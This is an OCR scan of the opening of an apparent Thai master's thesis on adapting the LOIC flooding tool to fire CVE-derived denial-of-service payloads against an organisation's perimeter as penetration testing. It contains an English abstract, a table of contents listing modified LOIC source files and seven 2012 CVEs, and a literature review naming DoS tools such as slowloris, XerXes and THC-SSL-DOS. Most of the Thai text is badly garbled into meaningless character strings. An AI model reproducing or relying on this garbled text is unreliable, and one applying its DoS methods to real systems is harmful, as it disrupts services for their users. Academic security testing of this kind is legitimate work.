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## 5271422421 : MAJOR COMPUTER SCIENCE
KEYWORDS : DENIAL OF SERVICE / CVE / PENETRATION TESTING / LOIC

THANACHON CHEEPBORISUTTIKUL : USING LOW ORBIT ION CANNON
FOR DENIAL OF SERVICE ATTACK BASED ON CVE. ADVISOR : YUNYONG
TENG-AMNUAY, Ph.D., 74 pp.

This research explores CVE as target for denial of service attack on perimeter
infrastructure as part of penetration testing. Exploit based on CVE susceptible to DoS
attack is analysed and payload extracted to be used as bullet. We employed the Low
Orbit lon Cannon (LOIC) as our attack tool. The fire control of LOIC is enhanced to
accept the payload for automated firing. System inventory of the target organization
and information on the CVE are used to position the cannon and target evaluation is

performed both externally and internally to the target.

Department : Computer Engineering Student’s Signature .

Field of Study : .__Computer Science Advisor’s Signature



naRAngsNUszn A

a a LA -e:l”o @ 1 1% a Yy | A e
qmmuwuﬁauuumLs@qmﬂﬂmﬂmmﬂmmmﬂmmmnmmm AT,
@ o ol a a - = v ¥ o o = v
EITTEN LANBTUIE mm?ﬂmﬁ?ﬂmqmmuwuﬁ mimmummg ATLUSUN mm@mmwmmim

AIBLNNIBNTBNNUINY AABAAUNIIAIIANIULT ldneEnus lilANanysnl wenani

e3¢

Aeudslafuacungananidiaaiansiansed asinsn Asudlant szaiunssunisasy

v

AeNNUS  NNNETAIERTIANTT ATTNAR  ATADINIWALL  NITUNTFRLAINNTINUS

u

Y - =iy vq v o ° M : < o -
HNINATUIFRN[INNNELEAN Vliﬂélﬁﬁ’]LLutu’] ?QNV]\?‘H@LZQM@LLMZW]\?”] nuilulselamiine

tnn llFuilganantnus liiAnA ANy sniunEay

v a tﬂl v o v o
HLIERIBNTIUARLNISALA H17AN ‘Vﬂﬁ@ uzmumunumwﬂu

=2 [ o o ¥ 09; ~ a I 1% a a Qo‘
ngAneuazAseiuniaslaliduent  sanvisiveuatinaasdinnian @mnmmﬁﬂm AR

dl ] d‘ ¥ o o (<1 o L84 %
VBN LA ATURTIONNR WINNN nraglinnaslalaziiuusstivaialalidiniEauaun



wih

LNAREBNTIVIIE ...t q
LNAREBN T VEINE oo q
AR ANTIHLTEN NP ..o, D)
BT TUBINT N oottt ™
BVTUITUNII. oo, 3
NT A UMY 1
1.1, AL UNUAZ AN A VATY IO, oo, 1
1.2, TR UTZAIAUBINNTVNEL oot 1
1.3, UALLUGUBINVTARE ... oereess it eee e 1
1.4, BNRRAAMR UM e 1
1.5, Ut T TRANATNRL T e 2
1.6, BBATIUNNTVRE ..ot 2
17, A AT UROL NS UBHAANTARE oo 2
UM 2 WONENTUAZTUIRETITLII oo 4
2 NN et 4
211, N RNARLLUTAENITII 4

21,2, BAD oo 5

213, MINARALNITERVETELU oo 5

2.2, LBNENTUAZITUIFETUREIIB 1o 6
2.2.1. dayaansauinen1asiutesiud (Vuinerability Informations)..............c........... 6

2.2.2. wieafia il lunslanFuunUFias 30 6

2.2.3. uaalaled (Low Orbit [on CannON) .....ccuveeeeeiee e, 7

2.2.4. izuumqﬁmmmmﬁu‘mm@um (Field Artillery System) ......ccccoeeevviivneeennen. 8

UNT 3 B A TIUNATIRE oo e 9
3.1, BAaniReadiesiutestwdrunslanfuund faonia e oo 10
3.2, DONTVHUBITEUL oo 11

3.3, WUOAAEBINTZAUUATNNTETNNTIAU .oooovvveeeeeeeeeceeeeee 12



Wi
UNT 4 MSDONULILUAZEINTEIL oo 14
4.1, NTRANULLUAZATITIUL oo 14
4.2, ITNNTERU oo 36
4.3. NINAMUUIAZNNIANIUALTI oo 55
B2 DNTEIIU ettt 56
4.5, NNTATVIANITOEHANNTEN ..o 58
UNT 5 NITNAGOU WAZOALTNANTEG oo 61
5.1, NFENNARBL CVE-2012-5533 ..ottt 61
5.2. NMIENNAABL CVE-2012-1783 ..ovot v oieeeeeeeeee e ee et 62
5.3. NFENNARBL CVE-2012-5329 ...t eee ettt 63
5.4. NNIENNAGDL CVE-2012-5905 .....c..voviiiciieieseveseee e 64
5.5. NFENNARBL CVE-2012-3845 ... oioieoeeeoeosee oottt 65
5.6. NMIENNAABL CVE-2012-0292 .....ivovereeeeeeee oot et 65
5.7. NNIENNARDL CVE-2012-6050 ......oooivivrereeiieiiesieieseeeeeeeeesese e 66
unil 6 a7UNan1394e 18911A18991UAN BATUUININTNTRE TUBUIAR .o 68
8.1, BTUMANNTTRED oo 68
6.2, AR VT ATDBIIVUTIRL ..o et 69
8.3, BB ..ottt 70
A BITINTEIBN o+ttt ettt ettt 71
U AR IUINY TN oo 74



3NN
Y
I
a o , Aol o a a a o

F19797 3.1 Fetresdiennaaiunistanauuulfasuuulfiasns . e, 11
AN 4.1 2718N1929998aN N TN AaEN A AULAATALAT oo, 16
F19199 4.2 AnudnriusresEanneiulssinnnisTanfuuudfaans ... 55
AN NN 4.3 A1AIURIUTUNTNATIRRBUTZULN M oo, 63

AINTIT 6.1 BANNTEN oo 68



2

a3UyMN

Wi
PANT 31 ANIVLIBITZU 1o 11

AN 3.2 Tﬂ‘a‘Lm?m%wﬁ*um?‘Ewﬁshuﬁm‘ﬂmﬁ'mmm@ﬁmm:qu@@ﬂm
R BEINITUAEY ..ot 12
Al 3.3 Tﬂa‘mmzﬁm?ﬂ%ﬁthmﬁmimﬁlmﬂr;i@mmﬁmdquﬁ@éﬁ@ga@@ﬂm ........... 13
AN 3.4 MATNARNTZRU oo 13
AN 4.1 ARIALABLUNTHAMTUAIUAGLANNITEN ..o 14
AR 42 AAE AT UNSINNIADBANUONTOIOF oo 15
ﬂ’]‘W‘ﬁ 4.3 vdfuaLL ExtendedLoiCAPIRESTIULjaVa......c.cveiiiiieiiieeece e 16
AR 44 sadueiiy ExtendedLoiCAPINGLIVE JAVA c......o.eeeeeeeeeeeeeeeeeeeeeeeeee . 18
AR A5 sadueiiy nativeinterface_ExtendedLoiCAPINAtVE.N c...oovveveveeeeeeee, 19
ﬂ’]‘W‘ﬁ 4.6 vdRAUALL nativeinterface_ExtendedLoicApiNative.Cpp.....ccocvvveeiiiieeiinneee. 21
AR 4.7 viaELRTL MAINSYNAPSEN oottt 21
ﬂ’]‘W‘ﬁ 4.8 v@RUaLL MAINSYNAPSE.CPD tevveeeeaiaannnnnrreeaaaaantteeeaaaaaaaasnreeeaaaaaaanneneeeaaaaaaans 113
AR 49 sadueiy AT 110100 L 018 T 30
AT 410 sadueiL NEOTIOOTET.CIOP vvvvveveeeereeeterseeeseeeeeeeeseseeseeeeeee s eees s s eeeeneeens 31
AN 411 sTagueIT XPPTOOTETI s e o eeeeeeeeee e eeeeseeeseeeeeeeseen e 33
AR 412 siadueiy XPDTIOOTEI.CD .ttt 33
AN 413 fumummﬁmmzqu ...................................................................................... 36
NN 4.14 sadndTlsunsnTaumENuEe9Ins CVE-2012-5533 . oo 37
AN 415 aﬁf;ulﬁy@fﬁmﬂ@*ﬁmmmmﬁm@@ﬂmLﬂuﬂizquzﬁﬁu§u CVE-2012-5533............ 37
AT 4.16 saRndsTLsunsnTauRHNUE 09T CVE-2012-1783 oo 38
AN 417 Z‘iQuLﬁ”ﬂ%‘ﬂH@ﬁ@’]ﬂJ’]ﬁ‘ﬂ’&ﬁ/ﬂ’ﬂ‘ﬂﬂm'}Lﬂuﬂ‘j‘t’éﬁwﬁ’]w}/ﬁ_l CVE-2012-1783............. 39
A 4.18 sadndsllsunsnlaumEnugeelns CVE-2012-6329 . oo 39
AN 4.19 Z‘iQuLﬁ”ﬂ%‘ﬂH@ﬁ@’]ﬂJ’]ﬁ‘ﬂ’&ﬁ/ﬂ’ﬂ‘ﬂﬂm'}Lﬂuﬂ‘j‘t’éﬁwﬁ’]w}/ﬁ_l CVE-2012-5329............. 41
AT 4.20 saRndsTsunsnTaumENUE09IMS CVE-2012-5905. oo 41
AN 4.21 Z‘iQuLﬁ”ﬂ%‘ﬂH@ﬁ@’]ﬂJ’]ﬁ‘ﬂ’&ﬁ/ﬂ’ﬂ‘ﬂﬂm'}Lﬂuﬂ‘j‘t’éﬁwﬁ’]w}/ﬁ_l CVE-2012-5905............. 43

AN 4.22 99aAFaTU NN IANRN UL AN CVE-2012-3845 ..o oo, 43



Wi
AN 4.23 Z‘iQuLﬁ”ﬂ%‘ﬂH@ﬁ@’]ﬂJ’]ﬁ‘ﬂ’&ﬁ/ﬂ’ﬂ‘ﬂﬂm'}Lﬂuﬂ‘j‘t’éﬁwﬁ’]w}/ﬁ_l CVE-2012-3845............. 44
NN 4.24 sadndsTsunsnTaumENuEe9IWs CVE-2012-0292.. oo 45
AN 4.25 Z‘iQuLﬁ”ﬂ%‘ﬂH@ﬁ@’]ﬂJ’]ﬁ‘ﬂ’&ﬁ/ﬂ’ﬂ‘ﬂﬂm'}Lﬂuﬂ‘j‘t’éﬁwﬁ’]w}/ﬁ_l CVE-2012-0292............ 46
AN 4.26 STAEURITLIULA TR ST UANTISUORT oo 46
N 4.27 sadndeTlsunsnTaumHNUE09IMS CVE-2012-6050... oo 47
AN 4.28 Z‘iQuLﬁ”ﬂ%‘ﬂH@ﬁ@’]ﬂJ’]ﬁ‘ﬂ’&ﬁ/ﬂ’ﬂ‘ﬂﬂm'}Lﬂuﬂ‘j‘t’éﬁwﬁ’]w}/ﬁ_l CVE-2012-6050............. 54
NN 4.29 ugasAanFlEaRlEanTannlulutsunsun e NG 8N oo 54
N 4.30 uaasAanlEanlEanTansnlululsunsun e IS oY oo 54
AN 4.31 ugasAanFlEaildandansnlululsunsun e NG 8L oo 55
AT 4.32 faneinaunAdalunisasAnnnsine i uneatele® oo 57
AN 4.33 F0E LM ANGABNNSESIAUOATOIOR oo 57
AN 4.34 ﬁq@ﬂ'wwﬁ%&mmmﬁﬂﬁu@@‘l@%% .......................................................... 57
AN 4.35 ﬁq@fngﬂLLuummnzju%]mgjaﬁmq@@i”ﬂlr?ﬁmﬂ WIreshark .........oceecenrrerenrinns 58
Al 4.36 AR ENNFUULL TR ATIAT AN WIFESHArK. ...vvvvoevrveerveeecener e 59
NN 4.37 uanans 1 Wireshark [ROASIANASEIIN oo 59
AT 5.1 NIZEUANITU CVE-2012-5533 ..o 61
AR 5.2 NIUAINSEN CVE-2012-5533 oo 61
AANT 5.3 NTZAUATATL CVE-2012-1783 oo 62
ﬂ’]‘W‘ﬁl 5.4 @MNNTUAINITES CVE-2012-1783 oo 62
AANT 5.5 NIZAUATATL CVE-2012-5329 ..ot 63
ﬂ’]‘W‘ﬁl 5.6 AIMNNTUAINITES CVE-2012-5329 ..o 63
AANT 5.7 NIZAUATATL CVE-2012-5905 ..o 64
ﬂ’]‘W‘ﬁl 5.8 AMNNTUAINITES CVE-2012-5905 ..o 64
AT 5.9 NIZEUANTU CVE-2012-3845 ..o 65
ANT 5.10 NTZAUATATL CVE-2012-0202 ..ot 66
ﬂ’]‘W‘ﬁl 5.11 @MNNTUAINITES CVE-2012-0292 ..o 66
ANT 512 NTZAUATATL CVE-2012-6050 ..o oo 66

AT 5.13 MNITUAINTTTL CVE-2012-6050 ... 67



=)

un
unNin
1.1. anaiiluanuazanudrAaaailym

nistanfuuulfiasnisldauninisldaungudeyaasas (rafiic) lu

arnngeldnaenniduniiclugluuunislasmdauninuugume s namagauniaan:
A @ oA o o A a < A a ) y A )

szuu [1] DedluGesdrAyiiianinluiedsziliudedindaedlnseadaiugny (perimeter

infrastructure vulnerabilities) wasiayarasdoslninanisouiliatnearsnsnizduuin

THaansaunniluiiadegnnedsiulngessns MITRE [2] 98 911348 Aglfiiaue

suilleudniduguuylnadlaenisinananiludeysdihd miunistanauuulfiasni el

nulnelfuealelefilurresiatmaseunislanmuuulfiasnisldeu

1.2. anilszasArainisiae

v
v aAdA o

a A o p=] anl I - a
muq@muuqmqﬂizm@u’] Lzﬁuﬂ‘izmﬂu%ﬁﬂ’]?ﬂ?:ﬂqﬂ[ﬂﬂ@%ﬂﬂﬂﬂﬂﬂl&
= . 9 = - a
LLﬂuuﬂueLUﬂ’]?W ﬂ@@‘].lﬂ’]ﬁ‘lﬂ’]gﬁ‘ﬁilmLW@“’]‘T@\‘W}’]\ﬂuﬂq?Lm’]ﬂﬂﬁ\ZUU"\’]ﬂﬂqﬁ‘I@NmLL‘]J‘]J‘]JQLZQﬁ

¥

nslisulaaldinniludeyalunismil
1.3, YBLLUAUBINIGINE

Aaaa o Yo v Ay A ° o ' o
1.3.1. ﬂﬁ‘zLﬂVﬂl@\isﬂQ’ﬂVququsﬂuu mmNﬂﬂg@%@’]&l’]?ﬂuﬁmﬂm’mmmm_l

nslanAuuuliasnislauls
1.3.2. n3fanslanAfiesenAan1=@eumn (script language)
1.4. ANRINAARMNN LT L UN1FIAE

1.4.1. nmslanfuuudiasnislden Ae nislanmne il wunediasise

Y a
neAN9 ILENg

14.2. #99 (Common Vulnerabilities and Exposures) AD LIA9991I9H

[ %

¥ 1 1 a e s dll VR % =3 1 1 =) I's
m@g@‘nm‘lﬁmmmi:umﬂqume N [ﬂQ‘ﬂﬁ‘ﬁZNﬁLW@I%@’NQ\W@\?IV?%@\‘I?ZUUﬂﬂN‘W’JL[ﬂ“ﬂﬁ‘

aaflunnagu



1.4.3. NINAGALNITRNLIZLL (Penetration Testing) A8 NTNAGALILNG

% 1 o o <1 ] ¥ K
mumqm@@umwuL‘]an@am\‘islumm’mwzuu

1.4.4. TadeainlasauuuAuuau (Low Orbit lon Cannon) 438 weaalalad

(LOIC) g tAsasiantauilafi i untsTanmuuudl fiasnisldam
1.5. Uselagunmininaclasy

NuRsRtauanislduealaladdviunimagaunisianzszuulnaande

nislanAuuudasnisldauaaldmnaduieyalunisgiidnFusiann 1 dunwamnig

dl” 4 k4 ! (3 rtﬂl o 2 o 1% ¥
Deviulunisnmaasudeunniesaesselfuaindalaldiiunisuiilalnefguaszuy
1.6. AaALUUN9IRE

1.6.1. Anedunewiznistanduuufiasnisldeu

16.2. Anmdszinnaesdianaidisounlulddss Taamilunislaumnuy

Ufjiasnasldannls

1.6.3. Anwuazesnuuuszuunisiuealeledduiuntslanduuulfjias

nslnulpedinaiiuiieyalunismdl

1.6.4. AnwuaznadaLnIzqui laanneanunaInsiandsidsunandniy

TanmRutaalug
1.6.5. NAGALILALIILITINHANITNANAIANNARNN TN AL
1.6.6. AATNZFNANINAAE
1.6.7. agnasuiddbuas FauEesineinug

17. ssudunawlunisiguananisiae

a a rd” 1 d” :.// 1 % dgl
WIWNHUTNUNWTULULIUIUINIUNA 10 UN Iﬂf;lLLW@ZUVIU?Zﬂ@Ulﬂ@QHLH@VI’]

pasa T



o

unil 1 dnaue Aonsiluniuazaanddyaestlym, dhglsvassaasnig

o

o

a a o o o [ % dl A a o o‘d‘ ! Y o
99e, AULTAUBDINTITINE, mmﬂmmwﬂﬂummw, ﬂ?:Tﬂ‘nuwmmwﬂmu RS

AaALHuNNIIAe
dl =Y
LUNT 2 AUl

ad a y | a I~ o Aalal a
1. V]q‘]&fgmLﬂﬂQT@\‘i SR ﬂ']?I’QNmLLUUﬂ{]L@ﬁﬂqﬁlsﬂ\?qu, Lijelal LL?N::ﬂ’]?T'E\]:Nm

wuuLfiasnisldanu

a o

2. @NaNTuAzIURAENNEdes 1w deayaarsaumAntsinugesug,
wraeien i lunistanmuuudfiasnisldau, wealaled uar szuveiqsaesninstiulug

AN

acla o

A a
UNN 3 LU

dddd‘ dl o = a v 1 o A aalal
1. GIRNLNEA ‘LIﬂ’W‘J‘IWN[ﬂLLUUﬂQLZQﬁﬂ’]‘iGLﬁJ\‘i’]u PIW NNTAALARNTIRLASNNT

==l

o a A al -QII o v a o
ANUUATHAYTALTLNNARITIANALWINT L ba1ARE]

2. pwsaNnnIineIuaesszuunislanAuuulfmenisldanulne Ly

fayalunismdl

UNN 4 HIaua Aazasanuldsunsugniulanmnudesluduaznig

Aneililaunsndgnudulanmnutasiudiatinn 199n1nss

uni 5 nissieinuealeleiielfidursestiedniunislanAuuuifias

a o

v -] v dgl
N3 ldaBBa st Mnaaan e uaa el

d' o I o 1 Y o = dll A
Unn 6 ﬂ’]ﬁ‘ﬁ]’]\‘l[ﬁﬁLL‘Vlu\‘WlﬁZQ’ﬂ‘LI‘j‘t‘LI‘LILL@XﬂW?ﬂWﬂuﬁLﬂWI‘Wﬂ‘ULL@@I’ﬂlﬂsﬁLWﬂjﬁj

\udiayadmiunistannaay
dl a [ y a al
uni 7 nstialaaandaunadipaurunistisresiealalad
1UNN 9 NNINARALILATANIUNANTIAE

UM% 10 a3UnaNlHFUAINNUIAE, 40ANTRATB99IUIRE, LAZUUINIINIINI

398 luauNAR



2

=)

un

LENAITLAZUIRENLN LD
2.1. ngufiiiandas
2.1.1. mslanduuuljrasnisldanu

al a v = s dl o = 1 o %
nstanfuuudfiasnisldan Hndszasdinadnaanevizanansuauiinlii
LAzaaliiiEnng (server) visawrsatne (network) iannaldeulinindnd dautaeanls

Il 3 dsvenn [3] A

2.1.1.1. DoS-flood @1ArNIAINgNTaLA (packet) 1TBAN3D3UD (request)
ph Yy a @ o s - 4 o qus > ' 3
wavalfisnisiludanuusnnidinldussuuasatnevisain liidnsldeunguasasiieyaly

nnauingaaulunadumadufsnansznunauniaenisdeansluiasadnanungdd

¥

A A A A ' a a o o 1 ¥ 1% :// d” | ] 1
an m@umﬂfﬂmmmﬂmamwummnmuimmmmhmuim VI\?HM’]ﬂLﬂuﬂ’]?@Qﬂ@‘M%ﬂH@

A

o dl Y] =1 o 9 =K v % I's
VL‘}J?NLm@\‘iLﬂWmﬂﬂmmmwﬂumiﬂixm@N@mmiﬂmmﬂmmmmmumm‘w

o o

(bandwidth) NRagatieaiagnliliaunun faatiaeidi SYN-Flooding attack [4], Low-

Rate TCP-Targeted DoS attack [5], ICMP Ping Flood [6] Wlsin

P4

2.1.1.2. DoS-malform andanisasngudiayanfiesilszasding (malformed

a
|

A o = . v a o A A =
packet) LW@@?’N@"Q’]NL'ZQH‘M"]ﬂ@uiﬂ@qﬂq?ﬂiﬁlﬁﬂqﬁ‘iﬁ Lu‘ﬂ\?qqﬂiﬂ?LLﬂ?NW?ﬂLsﬁ@?'ﬂ’éj‘ﬂ‘ﬂﬂ

'
%

YU (system service) 21AN1IATIRABLUTENN1IATIA@aLAITLEN (input) AFUNNANN
neuanszuUat1ellvnzan TannAInaanIaInANasnadn lun1IRIIAaa LAY

ATLIANTBNN N NARLEY FIvE19iT CVE-2012-1783, CVE-2012-5533 Liusiu

2.1.1.3. DoS-release \{ulszinnaasnistanmuuulfiasnisldeuinende

NM9aANNINFNeINsaesssuLn Il mnIzan Wasannninansaesszuunlignanass

'
a o

dgl v A ea 1% o [ 1 a v
(allocate)  AuN1lEeulaellsunsuvrelmesiaredssuulan ANua19EINE WU

o = 4 v v

(developer) mmumiﬁumvwmmzj@zuumj’mmmmwzﬁmnﬁmﬂ%qmm%aum’ﬁq yiail
| = o \ , A o A o % & |
winladfinisAuninennsgsruuattaunnzan welnisgnanassinaBanldauinludan
AT arnnsonn lihifianis3aluaresninans (resource leak) duaztinlilgnisldilezlomed
A wiunislanAuuulfiasnislauls daettedu CVE-2001-0830, CVE-2002-1372 1ilu

4

A



nstansuuulfiasnislauisaindszinnienaas 14anunnsnaiuly

uatiuaniunisniuazanilszassnesnistandlddessuumiuihwunaialfiinaay

Revnauazdniasanlianisadin g uls
2.1.2. 432

Nala A 44' , A A o o v ¥ a =R Vo

98 AeseTerestesindniiuninagnuineiudminasgenateindun

a r-‘ll U Y v 1 1 v a (%3 6 6 v ¥ %

azriaivaliunaatioyanutesing, memmmnmmLmzﬂghmuiﬂﬂmmmmmml@im

o o o tﬂl aalal 09-// v dd‘ 1 1 o o 1 ldl Yo aaa =

RN AuFUTatestlasulssnaudon Unnudesing wazarsuaasdaalnanlfsudnalutl
o , A o a oy oA o , \ s L

1114 TU491199N 72 LI UNITRANUNILLATTIDTI LFHAKNANNTARNLTa 17 ludNNATIuay
= U dddd‘ Vo A . dl < a

An17lsnunear@an ld5uiaen (CVE candidates) WMias0n1TilTaUANNATUEAIINIDBNNT

(editorial board members)

v o v g y Ao Y ° a Aaast o s v
muum@g@L‘Ufa\‘imu‘wmuumiﬂumfaﬁmmm‘mg wﬂizimummu@

v 1 1 o (<1 v dly % o o dl A g v
szuvlunisAumdesuduesssuy LLﬂzﬁﬂﬂqﬁ‘ﬂuWN’]Lﬂum@H@LU@QWH@WV?ULF]?@QN@WI?IH

£
a o a o Y

AnedaLNaAuntaalng a1uiuluanvideillfandudanatnaann CVE MITRE tvaldlu

kTl

% a dl aalal b4 1 dld % v aala .
N8N TR 19T ALA TN ATAIT A TWINEN1TAUNL LazdayaTanann CVE Details [7]

u a

A o o Ao o a 2 o
e ltlunsAnnsesTanneaiunisianakuulaanislieu

2.1.3. NMgnAKaUN15LANE5eUU (Penetration Testing)

nMAaauNITANIzLl  iunszuaunisiasasiandonlunisiiudeys
¥ o gsl o zﬂl A a o a
nAuRaINIIRzesidsunsn lua e nldsunsunieu LW@I‘ﬂuﬂ’]?QLﬂﬁ‘qﬁiﬁwqmﬂ??N

v
o a

aaslilsuns Inetlsvinnnismagauniaanyszunuwtia gy 3 dsewnm [8, 9] sall

2.1.3.1. Black-box Testing fun1sanasenislanfszuuiAzadngann

NEUANeIANT ATLENAaaLIANzsEUL (pentester) az i liFudayauaziassaivaasszuy

v
a o

Lﬂd?'ﬂ?i']ﬂqf]ﬂa@LL@izUULﬂ?@ﬂhﬂ (network adminstrator) an Qﬁﬂx‘iﬁ’m’]?ﬁuw}LL@m')U?')N
o o JR - A | = ° o o o
Tﬂﬁ;ll@?.l@\iLﬂ’]u&l’]ﬁlm@%ﬂ’]ﬂlu?:ﬁuuLﬂ?@"ll']ﬂﬂ@u@ﬂ@qﬂq?ﬂmqﬂf]?‘ﬂﬂﬁﬂullﬂ ANUTUNNT
d”9/ v 1 1 o [~3 v
V]ﬂ@ﬂUﬂq?L@q&ﬁ?gUUﬂ?ZLﬂmua‘V]ﬁﬁﬂulﬂqtﬁ‘zuu’ﬂzlﬂ]L']@q@']usl‘wﬁyiﬂﬂUﬂq?LﬂUm@H@m@\?

Fluuneinalddusunimagay



2.1.3.2. White-box Testing 1funnmageunisiatzssuunlffuaausanie

v o Yy Y o % % o/ A 1
anfauaszuy M lfignaseuianzszuuliiudeyan 1 9inulk B UULATa841919D
TannTaseaiauazunueulunmeaaulfazaanuindsdu amiunimagauniaanzazuy
Uszinnilfinegauianzszuuazaz inandaulug luduntmesaunisianzssuuive Aumn

a

dasluinanuisnuinldldlss Temiilunislanminafludaanielunsdinfeseuylé

2.1.3.3. Gray-box Testing [10] 4MFLN1INAdELNTIA1ZTzLLLTZINNT

719401174 International Council of Electronic Commerce Consultants 338 EC-Council
[ Y @ dl a [ al & dll
qm‘l‘mLﬂummM@‘umimmeuummmmmmmﬂwmmumﬂiu Tmﬁ@gmﬂizmmw'a

o o = - o o PR el al o \

‘Vlﬁ@‘ﬂ‘].lﬂ’?‘iﬂﬂ\‘muﬂ’]ﬁ‘hmﬁl@’mﬂ’]ﬁllu@\ﬂﬂﬂ‘a‘ ‘1/1\‘1@Wﬂwuﬂ\‘mum@@mﬂimammmLuzlqm@gj

N luesAng
2.2, laNAITHATINUIRBNLNLIT Y

2.2.1. Vulnerability Informations

o

Vulnerability Informations [11, 12] ludieyanineqiudesindiisaqasauni
aguuginsalizeszunaTatng sanlUneguuunsineunig andausd (hardware) 15
w3 (firmware) visaaawsns (software) arnnsnitlalenialiiscuugnianmls Tedasiudvse

1 1 dgl 1 o 2 o o Y = v 1 6 ¥V & 1
qagaumanll anaazdenangznuyin sz uuinaudadesiagng ldilsyaedalfiludesmis

Tunslanmszilé

2.2.2. vasasdalunistanfuuulJrasnisldanu

I = A A o < P [% = o 1% Y
HlutazasdanwWmuizunie ldluntslanmalanaia Widsuiunguieya

a

A PN =< o @ o au = A ay
agaslutesatnaivngaulunandusaniia nliinisnisdearsluesedanuinfdia
wrald1d18 sanlddennsdnaanad i lEscuuannisndinldusnisluszuuladuisnies
o 2 = 2*X* ' v ° 2 o v B~
nElunisTand sanlifelinasnanasneuaznuludanuanaessnuddanisfiunisiaum

a o

wuvtfjmanislden [13] fiae dratnaevresialunislanmwuudasnisliu Hasi

slowloris [14] uAsasianimunaun el lunislanmuuulfiasnisld

BEUN19 TN INABA HTTP @119 0LENTA9aUNAANTE (imeout)  MAWasAILENNS HTTP

v
v o

(HTTP server) %38 Aa1i3n13unis (Proxy server)  anyiagagnunsananiaeeanistlesiu



httpready  lHuazdeannsaninislanmuuudjiasnisldarundnislduuusind

1 4

(bandwidth) NAaudnem N1 lHisnnFen1snsIadaL

Metasploit Framework [15] 1flumsaalanwmuntuuiive i lun1mages

v
o o

= = ) | o o LA e Y
AT UUBNYIN aummmslsnmumumz?f\mm Metasploit LW@@WMQH?NQWN@Z@QHINHW?I?]

NN

XerXes [16] {luasasialunislanmuuudfiasnisldeunimunaunnlae

1 dldll 1 dll v o o a dl Y a
NYNNTAIN The Jester ialdduiunistanaaauiazasliiusnisg

@ zﬂl A tﬂl o d” tﬂl ¥ o o o
slowhttprequest [17] Hhurrasuanwamunauuvna 41 15un19anaaenng

= a o pRp &, o DY o ! .
I"\Nm LLUUﬂQ L@ﬁﬂqﬁ\elfﬁ\?quWN ﬁ%ﬂuﬂ’lu’]?ﬂuﬂ’]?m mmﬂ‘mﬁuimmumﬁ slowloris

1%

THC-SSL-DOS [18] iiluwezasilanimuntunialdlunislanmuuulfias

o

v o ! ad v v dl 4 1] % ° 4 4 o
ﬂ’]‘ﬂﬁ]\ﬂutﬂﬂ@’]ﬂﬁlﬁi’ﬂ\‘l‘i’l’?\‘l@ﬁﬂ’]‘iﬂﬂﬂ‘ﬂ\‘]‘llﬂﬁ\lm/]ﬁ“i_lL“ll’]-@\‘i@@ﬂﬁQEIﬂ’]ﬁ‘u’]sll‘ﬂﬂqJJ@N’]Lsﬂ’]‘iM@

a

WA (Secure Sockets Layer 4138 SSL) aunnliitesealiitznisldansnnsaliitznisle
2.2.3. Tadaaiinlaaauwauuay (Low Orbit lon Cannon)

Tadeadinleseuunuuen 19, 20] dwrresienldlunslanmuuulfjias

nsldeungniinunldlaengs Anonymous inaldlunisniewslangldauiulas (web site)
. a a o A = dl =3 &

284 Church of Scientology [21] uaziiawnlanfdann luneunaian T 2010 Mavlasives

mmﬁmﬁqmmuﬂﬁml,m@l,ﬁm (Industry Association of America’s website) [22] WAZAN

s lulfimn1INEandn Operation Payback Tuihausuanan 1 2010 AN sTanm

v
o

UsdnuazasAnsanuantuiansafinuiulas WikiLeaks [23] wnniunasleladignasis
< . A gy o A

auN1lag Praetox Technologies a4 lUN1sMAAaLAINNLAKNINLATELNY (network stress
testing) Ineinszinnislanmuuulfiasnisldaiuaeinedne (simple DoS attack) H1unsIng

mAaa (protocol) @& TCP (Transmission Control Protocol), UDP (User Datagram

o 1

Protocol), WAz HTTP (Hyper-Text Transfer Protocol) lifauddnaniiluilnuung (target

A 1
o A

host) vistuaalaladainnsnldeuliisuullsunsunfnfsunirsesaaniiomafdouyang
(desktop application) wazHauEIUNIILmWa (web page) N1 kEREEn1sInsinAea

UDP uaz TCP auiflunisdednasnaszasnednailuianinuassunn (plain text) luldauy

1 1 12

o =

el uunsatnesalias luanennisldaueiuingneaes HTTP duarinisiuuiiani



(content) 484 HTTP GET Winlildae ileanuiunasdisnaungndsasnliinudaruauniniu

aginanmAaardenansnusawtangiudunneiauaniiy (overload) wazlianunsn
1 o v Y a v6 ¥ ‘ﬂl v Y oa [N v zﬂl 1

pouauassianisesaalitsnisainglinundinunaeldisnisanusidnsls iasaindues

= Mya o a 4 o o v6 v o Yo J
I@iﬂsﬂiﬂiﬂﬂdﬂqiﬂﬁLﬁ]‘iﬁlllﬂ’?‘iﬂ“ﬂﬂﬂuLL@Zﬁ‘ZUUﬂ%WNﬂ@@@ﬂﬂ@WﬂEﬂﬁjxﬂu M dnemAanITunNy

1
a

FREUNLUNAIRUNG 8191 %ﬂﬂ@ﬁ (IP address) °uermju?ﬁ@mwm%mﬁqmﬁlmwdw

a a

dl v tﬂl o al o v Y Y a = c @& . .
ngnldawinensyyinnislanm Pl liLsn1s8wmasitdn  (Internet Service  Provider)

dl 1 a o 1 b4 dll 1 . [ %
AN9DLEN (resolve) mmaﬂ,ﬂwmﬂmfﬂmmmmmgﬂmﬂ (client name) LLlumU

2.2.4. sxuua'\'gﬁmawmsﬂﬂmgau'm (Field Artillery System)

o

sruueqaIeanInsUulunjaun [24] dsznavsaasdilsznaundandidny

4 1lgznng “ﬁLLﬂI ﬂ’]?ﬁuﬁ’]m’]ﬂﬁ’]ﬁl ma‘éﬁmﬂmﬁq TLULURNNYG-NTCAY LATNNTAIUAN
q q q

o o o

SAnToyen WluAu delsaaziasnma

@

v
o VY

1. ﬂ’]?%uu'ﬂfﬂqﬂﬂqﬂ L‘ﬂum?mm'ﬁﬁ/‘]_l ﬁ@j@ﬁﬁ’m LL@Zﬁ’]V]uﬁﬁm\iL TMHNE

o o @ o o o AL v TAUANN = A Ay o Aa
@uqql,ﬂumqgﬁwaﬁﬂqﬁi'ﬂllmm@LﬂqﬁNqﬂLM@quu@quﬁN@ Lﬂ?ﬂQN@ﬂuﬁqLﬂqﬁﬁJqﬂmﬁJﬂglu
=l 1 v 1Y s d’l a v 6 'S
ﬂq?ﬁQUﬂNmﬂqwuq?ﬂulum 1@LLﬂ @jmﬁ\qqmq?qu\iwuﬁu quﬁl?%@ﬂﬁ‘imm%‘l@’m’]ﬂ LTANT

o a ¢ﬂl A 1% v % = [ 4
ATIAALNITEN LATLATAINDAUUNTINUNILAQLILAN - 1R (WA

o a = Qdd‘ dl 4 dJ & !
